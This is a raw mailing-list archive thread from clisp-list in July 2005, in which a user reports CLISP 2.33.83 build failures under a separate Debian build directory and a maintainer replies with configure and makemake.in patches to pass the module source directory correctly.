15:47, Dan Corkill wrote: > >I get this error when trying to build this snapshot on Linux: > > > >will@blackdog:~/src/clisp-2.33.83$ ./configure > >executing /home/will/src/clisp-2.33.83/src/configure > > --cache-file=config.cache configure: creating cache config.cache > >configure: line 1340: ./../version.sh: No such file or directory > > > >Is there some kind of Makefile.devel trickery that generates this file? > > Will, > > I just ran a fresh CVS-based install on FC4/x86 without issue. The > version.sh file > (at the top level) was created by the CVS checkout and contained the > following 3 lines: > > # Version number and release date. > VERSION_NUMBER=2.33.83 > RELEASE_DATE=2005-03-14 # in "date +%Y-%m-%d" format > > I followed the simple instructions: > > ./configure x86 > cd x86 > ./makemake --with-dynamic-ffi > Makefile > make config.lisp > make > ... Today's CVS does work, but the build fails trying to build the regexp module: if test -f regexp/configure -a '!' -f regexp/config.status ; then cd regexp ; (cache=`echo regexp/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f ${cache} ; then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} --with-dynamic-ffi --with-dynamic-ffi; else ./configure --with-dynamic-ffi --with-dynamic-ffi; fi ) ; fi configure: loading cache ../config.cache configure: error: cannot find install-sh or install.sh in ../../src/build-aux ./../../src/build-aux make[1]: *** [regexp] Error 1 ../../src/build-aux contains install-sh if you are building inside the clisp tree, if you use a different build directory it most probably doesn't. From sds@gnu.org Wed Jul 06 10:02:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqDHi-0007MN-Ui for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 10:02:06 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DqDHf-0005Ou-Bq for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 10:02:06 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j66H1nAA011208; Wed, 6 Jul 2005 13:01:53 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Will Newton Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507061451.14883.will@misconception.org.uk> (Will Newton's message of "Wed, 6 Jul 2005 14:51:14 +0100") References: <200507061451.14883.will@misconception.org.uk> Mail-Followup-To: clisp-list@lists.sourceforge.net, Will Newton Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Problem building 2.33.83 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 10:04:23 2005 X-Original-Date: Wed, 06 Jul 2005 13:01:15 -0400 > * Will Newton [2005-07-06 14:51:14 +0100]: > > will@blackdog:~/src/clisp-2.33.83$ ./configure > executing /home/will/src/clisp-2.33.83/src/configure --cache-file=config.cache > configure: creating cache config.cache > configure: line 1340: ./../version.sh: No such file or directory please try > Is there some kind of Makefile.devel trickery that generates this file? no, you should not need this file in the distribution. -- Sam Steingold (http://www.podval.org/~sds) running w2k Why use Windows, when there are Doors? From sds@gnu.org Wed Jul 06 10:03:11 2005 Received: from [10.3.1.91] (helo=sc8-sf-mx1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqDIk-0007Nw-Vo for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 10:03:10 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqDIj-0007sS-IE for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 10:03:11 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j66H2u98011366; Wed, 6 Jul 2005 13:02:57 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Will Newton Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507061700.56728.will@misconception.org.uk> (Will Newton's message of "Wed, 6 Jul 2005 17:00:56 +0100") References: <200507061451.14883.will@misconception.org.uk> <42CBEEE4.2010806@comcast.net> <200507061700.56728.will@misconception.org.uk> Mail-Followup-To: clisp-list@lists.sourceforge.net, Will Newton Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Problem building 2.33.83 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 10:04:32 2005 X-Original-Date: Wed, 06 Jul 2005 13:02:22 -0400 > * Will Newton [2005-07-06 17:00:56 +0100]: > > Today's CVS does work, but the build fails trying to build the regexp module: > > if test -f regexp/configure -a '!' -f regexp/config.status ; then cd regexp ; > (cache=`echo regexp/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f > ${cache} ; then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then > CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} > --with-dynamic-ffi --with-dynamic-ffi; else ./configure --with-dynamic-ffi > --with-dynamic-ffi; fi ) ; fi > configure: loading cache ../config.cache > configure: error: cannot find install-sh or install.sh > in ../../src/build-aux ./../../src/build-aux > make[1]: *** [regexp] Error 1 > > ../../src/build-aux contains install-sh if you are building inside the > clisp tree, if you use a different build directory it most probably > doesn't. configure looks in: for ac_dir in ../../src/build-aux $srcdir/../../src/build-aux; do ... so this should be fine. what are your configure options? -- Sam Steingold (http://www.podval.org/~sds) running w2k Vegetarians eat Vegetables, Humanitarians are scary. From will@misconception.org.uk Wed Jul 06 10:11:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqDQb-0007mi-BM for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 10:11:17 -0700 Received: from cmailg2.svr.pol.co.uk ([195.92.195.172]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DqDQY-0006EA-Rm for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 10:11:17 -0700 Received: from user-2293.l1.c3.dsl.pol.co.uk ([81.79.8.245] helo=[192.168.1.103]) by cmailg2.svr.pol.co.uk with esmtp (Exim 4.41) id 1DqDQW-0000sR-HG for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 18:11:12 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.7.2 References: <200507061451.14883.will@misconception.org.uk> <200507061700.56728.will@misconception.org.uk> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200507061811.07494.will@misconception.org.uk> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Problem building 2.33.83 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 10:12:29 2005 X-Original-Date: Wed, 6 Jul 2005 18:11:07 +0100 On Wednesday 06 July 2005 18:02, Sam Steingold wrote: > > * Will Newton [2005-07-06 17:00:56 +0100]: > > > > Today's CVS does work, but the build fails trying to build the regexp > > module: > > > > if test -f regexp/configure -a '!' -f regexp/config.status ; then cd > > regexp ; (cache=`echo regexp/ | sed -e > > 's,[^/][^/]*//*,../,g'`config.cache; if test -f ${cache} ; then . > > ${cache}; if test "${ac_cv_env_CC_set}" = set; then > > CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure > > --cache-file=${cache} --with-dynamic-ffi --with-dynamic-ffi; else > > ./configure --with-dynamic-ffi --with-dynamic-ffi; fi ) ; fi > > configure: loading cache ../config.cache > > configure: error: cannot find install-sh or install.sh > > in ../../src/build-aux ./../../src/build-aux > > make[1]: *** [regexp] Error 1 > > > > ../../src/build-aux contains install-sh if you are building inside the > > clisp tree, if you use a different build directory it most probably > > doesn't. > > configure looks in: > > for ac_dir in ../../src/build-aux $srcdir/../../src/build-aux; do > ... > > so this should be fine. > > what are your configure options? ./configure --build debian/build --prefix=/usr --fsstnd=debian \ --with-dynamic-ffi --with-module=bindings/glibc --with-module=clx/new-clx --with-module=syscalls srcdir expands to ., and at that point we are currently in debian/build/regexp. I tried passing --srcdir to toplevel configure, but it doesn't get passed to the regexp module configure. From will@misconception.org.uk Wed Jul 06 10:26:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqDf8-0008UB-Iy for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 10:26:18 -0700 Received: from cmailg4.svr.pol.co.uk ([195.92.195.174]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DqDf6-0007ap-QJ for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 10:26:18 -0700 Received: from user-2293.l1.c3.dsl.pol.co.uk ([81.79.8.245] helo=[192.168.1.103]) by cmailg4.svr.pol.co.uk with esmtp (Exim 4.41) id 1DqDf5-0006OX-FX for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 18:26:15 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.7.2 References: <200507061451.14883.will@misconception.org.uk> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200507061826.10223.will@misconception.org.uk> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Problem building 2.33.83 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 10:28:29 2005 X-Original-Date: Wed, 6 Jul 2005 18:26:09 +0100 On Wednesday 06 July 2005 18:01, Sam Steingold wrote: > > * Will Newton [2005-07-06 14:51:14 +0100]: > > > > will@blackdog:~/src/clisp-2.33.83$ ./configure > > executing /home/will/src/clisp-2.33.83/src/configure > > --cache-file=config.cache configure: creating cache config.cache > > configure: line 1340: ./../version.sh: No such file or directory > > please try > This version has fixed the problem. The build still fails with the regexp module problem I mentioned previously however. From sds@gnu.org Wed Jul 06 11:36:06 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqEkg-0003Z8-IX for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 11:36:06 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DqEke-0001yw-3Z for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 11:36:06 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j66IZrU6024452; Wed, 6 Jul 2005 14:35:53 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Will Newton Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507061811.07494.will@misconception.org.uk> (Will Newton's message of "Wed, 6 Jul 2005 18:11:07 +0100") References: <200507061451.14883.will@misconception.org.uk> <200507061700.56728.will@misconception.org.uk> <200507061811.07494.will@misconception.org.uk> Mail-Followup-To: clisp-list@lists.sourceforge.net, Will Newton Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Problem building 2.33.83 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 11:37:28 2005 X-Original-Date: Wed, 06 Jul 2005 14:35:19 -0400 > * Will Newton [2005-07-06 18:11:07 +0100]: > >> what are your configure options? > > ./configure --build debian/build --prefix=/usr --fsstnd=debian \ > --with-dynamic-ffi --with-module=bindings/glibc > --with-module=clx/new-clx --with-module=syscalls --with-module=syscalls is not needed. see BASE_MODULES in Makefile. > srcdir expands to ., and at that point we are currently in > debian/build/regexp. I tried passing --srcdir to toplevel configure, > but it doesn't get passed to the regexp module configure. oops... please try the appended patches. you should _not_ need to pass --srcdir. -- Sam Steingold (http://www.podval.org/~sds) running w2k The only time you have too much fuel is when you're on fire. --- configure 06 Jul 2005 14:05:28 -0400 1.85 +++ configure 06 Jul 2005 14:17:09 -0400 @@ -429,7 +429,7 @@ abs_path_pwd () { cd "$1" > /dev/null; ${ABSPATHPWD}; } -maybe_mkdir() { test -d "$1" || mkdir "$1"; } +maybe_mkdir() { test -d "$1" || mkdir -p "$1"; } INPLACE='' if test -n "$srcdir" ; then @@ -608,7 +608,7 @@ fi fi -makemake_args="${makemake_args} ${target} ${debug}"; +makemake_args="${makemake_args} ${subdir_srcdir_args} ${target} ${debug}"; . ${ABS_DIRNAME}/config.cache cat < To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Problem building 2.33.83 User-Agent: KMail/1.7.2 References: <200507061451.14883.will@misconception.org.uk> <200507061811.07494.will@misconception.org.uk> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200507061953.57300.will@misconception.org.uk> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 11:55:27 2005 X-Original-Date: Wed, 6 Jul 2005 19:53:56 +0100 On Wednesday 06 July 2005 19:35, Sam Steingold wrote: > --with-module=syscalls is not needed. > see BASE_MODULES in Makefile. > > > > srcdir expands to ., and at that point we are currently in > > debian/build/regexp. I tried passing --srcdir to toplevel configure, > > but it doesn't get passed to the regexp module configure. > > oops... > please try the appended patches. > you should _not_ need to pass --srcdir. The build fails like this: /home/will/debian/packages/clisp/build/clisp-2.33.84/src/lndir /home/will/debian/packages/clisp/build/clisp-2.33.84/modules/i18n i18n if test -f i18n/configure -a '!' -f i18n/config.status ; then cd i18n ; ( cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f ${cache} ;then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} --with-dynamic-ffi --with-dynamic-ffi --srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; else ./configure --with-dynamic-ffi --with-dynamic-ffi --srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; fi ) ; fi configure: error: cannot find sources (i18n.lisp) in /home/will/debian/packages/clisp/build/clisp-2.33.84/src make[1]: *** [i18n] Error 1 From sds@gnu.org Wed Jul 06 14:02:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqH2O-0002cf-TJ for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 14:02:32 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqH2M-0007K7-AD for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 14:02:33 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j66L2L4Y014114; Wed, 6 Jul 2005 17:02:21 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Will Newton Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507061953.57300.will@misconception.org.uk> (Will Newton's message of "Wed, 6 Jul 2005 19:53:56 +0100") References: <200507061451.14883.will@misconception.org.uk> <200507061811.07494.will@misconception.org.uk> <200507061953.57300.will@misconception.org.uk> Mail-Followup-To: clisp-list@lists.sourceforge.net, Will Newton Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Problem building 2.33.83 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 14:03:36 2005 X-Original-Date: Wed, 06 Jul 2005 17:01:47 -0400 > * Will Newton [2005-07-06 19:53:56 +0100]: > > On Wednesday 06 July 2005 19:35, Sam Steingold wrote: > > The build fails like this: > > /home/will/debian/packages/clisp/build/clisp-2.33.84/src/lndir /home/will/debian/packages/clisp/build/clisp-2.33.84/modules/i18n > i18n > if test -f i18n/configure -a '!' -f i18n/config.status ; then cd i18n ; > ( cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f > ${cache} ;then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then > CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} > --with-dynamic-ffi --with-dynamic-ffi > --srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; > else ./configure --with-dynamic-ffi --with-dynamic-ffi > --srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; fi ) ; fi > configure: error: cannot find sources (i18n.lisp) > in /home/will/debian/packages/clisp/build/clisp-2.33.84/src > make[1]: *** [i18n] Error 1 sorry. the appended patch (against the CVS) works for me with this command: $ ./configure --build foo/bar/bar -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not tell me what to do and I will not tell you where to go. From sds@gnu.org Wed Jul 06 14:03:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqH3S-0002iQ-2H for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 14:03:38 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqH3R-0007YO-Gk for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 14:03:38 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j66L3SU4014226; Wed, 6 Jul 2005 17:03:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Will Newton Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507061953.57300.will@misconception.org.uk> (Will Newton's message of "Wed, 6 Jul 2005 19:53:56 +0100") References: <200507061451.14883.will@misconception.org.uk> <200507061811.07494.will@misconception.org.uk> <200507061953.57300.will@misconception.org.uk> Mail-Followup-To: clisp-list@lists.sourceforge.net, Will Newton User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Problem building 2.33.83 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 14:05:37 2005 X-Original-Date: Wed, 06 Jul 2005 17:02:54 -0400 > * Will Newton [2005-07-06 19:53:56 +0100]: > > On Wednesday 06 July 2005 19:35, Sam Steingold wrote: > > The build fails like this: > > /home/will/debian/packages/clisp/build/clisp-2.33.84/src/lndir /home/will/debian/packages/clisp/build/clisp-2.33.84/modules/i18n > i18n > if test -f i18n/configure -a '!' -f i18n/config.status ; then cd i18n ; > ( cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f > ${cache} ;then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then > CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} > --with-dynamic-ffi --with-dynamic-ffi > --srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; > else ./configure --with-dynamic-ffi --with-dynamic-ffi > --srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; fi ) ; fi > configure: error: cannot find sources (i18n.lisp) > in /home/will/debian/packages/clisp/build/clisp-2.33.84/src > make[1]: *** [i18n] Error 1 sorry. the appended patch (against the CVS) works for me with this command: $ ./configure --build foo/bar/bar oops... -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not tell me what to do and I will not tell you where to go. --- makemake.in 06 Jul 2005 13:18:46 -0400 1.568 +++ makemake.in 06 Jul 2005 16:08:10 -0400 @@ -3263,7 +3263,7 @@ # Some "make"s don't support empty target lists. Hence the "anymodule". echol "anymodule \$(BASE_MODULES) \$(MODULES) : lisp${LEXE} lispinit.mem force modprep.fas clisp.h" echotab "${SRCDIR:-${HERE}}lndir ${SRCTOPDIR_}modules/\$@ \$@" -echotab "if test -f \$@/configure -a '!' -f \$@/config.status ; then cd \$@ ; ( cache="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g'"'`'"config.cache; if test -f \$\${cache} ; then . \$\${cache}; if test \"\$\${ac_cv_env_CC_set}\" = set; then CC=\"\$\${ac_cv_env_CC_value}\"; export CC; fi; ./configure --cache-file=\$\${cache} \$(MODULE_CONFIGURE_FLAGS); else ./configure \$(MODULE_CONFIGURE_FLAGS); fi ) ; fi" +echotab "if test -f \$@/configure -a '!' -f \$@/config.status ; then cd \$@ ; ( cache="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g'"'`'"config.cache; if test -f \$\${cache} ; then . \$\${cache}; if test \"\$\${ac_cv_env_CC_set}\" = set; then CC=\"\$\${ac_cv_env_CC_value}\"; export CC; fi; ./configure --cache-file=\$\${cache} --srcdir=${SRCTOPDIR_}modules/\$@ \$(MODULE_CONFIGURE_FLAGS); else ./configure --srcdir=${SRCTOPDIR_}modules/\$@ \$(MODULE_CONFIGURE_FLAGS); fi ) ; fi" EVERY_INCLUDES_DOTS_C='' for f in $EVERY_INCLUDES_C $EVERY_INCLUDES_H ; do EVERY_INCLUDES_DOTS_C=$EVERY_INCLUDES_DOTS_C' $${dots}'/$f --- configure 06 Jul 2005 14:05:28 -0400 1.85 +++ configure 06 Jul 2005 14:17:09 -0400 @@ -429,7 +429,7 @@ abs_path_pwd () { cd "$1" > /dev/null; ${ABSPATHPWD}; } -maybe_mkdir() { test -d "$1" || mkdir "$1"; } +maybe_mkdir() { test -d "$1" || mkdir -p "$1"; } INPLACE='' if test -n "$srcdir" ; then @@ -608,7 +608,7 @@ fi fi -makemake_args="${makemake_args} ${target} ${debug}"; +makemake_args="${makemake_args} ${subdir_srcdir_args} ${target} ${debug}"; . ${ABS_DIRNAME}/config.cache cat < To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Problem building 2.33.83 User-Agent: KMail/1.7.2 References: <200507061451.14883.will@misconception.org.uk> <200507061953.57300.will@misconception.org.uk> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200507062215.19484.will@misconception.org.uk> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 14:17:17 2005 X-Original-Date: Wed, 6 Jul 2005 22:15:18 +0100 On Wednesday 06 July 2005 22:02, Sam Steingold wrote: > sorry. > the appended patch (against the CVS) works for me with this command: > $ ./configure --build foo/bar/bar Works for me. Any idea what's causing the special variable test suite failures? From sds@gnu.org Wed Jul 06 15:29:02 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqIO2-0006tZ-7e for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 15:28:58 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DqIO0-0005mx-Oo for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 15:28:58 -0700 Received: from WINSTEINGOLDLAP 